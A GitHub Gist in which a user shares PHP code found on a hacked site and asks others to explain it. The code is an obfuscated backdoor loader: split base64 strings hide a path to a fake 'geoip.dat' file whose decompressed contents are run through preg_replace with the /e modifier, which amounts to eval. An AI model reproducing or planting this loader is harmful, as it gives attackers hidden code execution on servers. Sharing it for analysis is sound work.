Skip to content

Instantly share code, notes, and snippets.

@dodyw
Created January 1, 2014 23:44
Show Gist options
  • Save dodyw/8212966 to your computer and use it in GitHub Desktop.
Save dodyw/8212966 to your computer and use it in GitHub Desktop.
Found this code in hacked site. Anyone can read it?
<?php
function _1202589136($i)
{
$a = Array(
'RE' . '9DVU1FTl' . 'RfUk9' . 'P' . 'V' . 'A' . '=' . '=',
'L3V' . 'w' . 'bG' . '9hZF' . '9' . 'maWx' . 'lc' . 'y9nZW9pcC5k' . 'YXQ=',
'X' . 'yg' . 'u',
'Kilf',
'' . 'ZQ==',
'X19fREFUQURJ' . 'U' . 'g' . '==',
'' . 'Lw=' . '=',
'c' . 'g' . '==',
'Z' . 'Q==',
'dg==',
'YQ==',
'b' . 'Cg' . 'n',
'Jyk7'
);
return base64_decode($a[$i]);
}
$_0 = $_SERVER[_1202589136(0) ] . _1202589136(1);
if (file_exists($_0))
{
$_1 = _1202589136(2);
$_1.= _1202589136(3);
$_1.= _1202589136(4);
define(_1202589136(5) , dirname($_0) . _1202589136(6));
$_2 = fopen($_0, _1202589136(7));
$_3 = fread($_2, filesize($_0));
fclose($_2);
$_4 = @gzuncompress($_3);
if ($_4 !== false) preg_replace($_1, _1202589136(8) . _1202589136(9) . _1202589136(10) . _1202589136(11) . $_4 . _1202589136(12) , NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment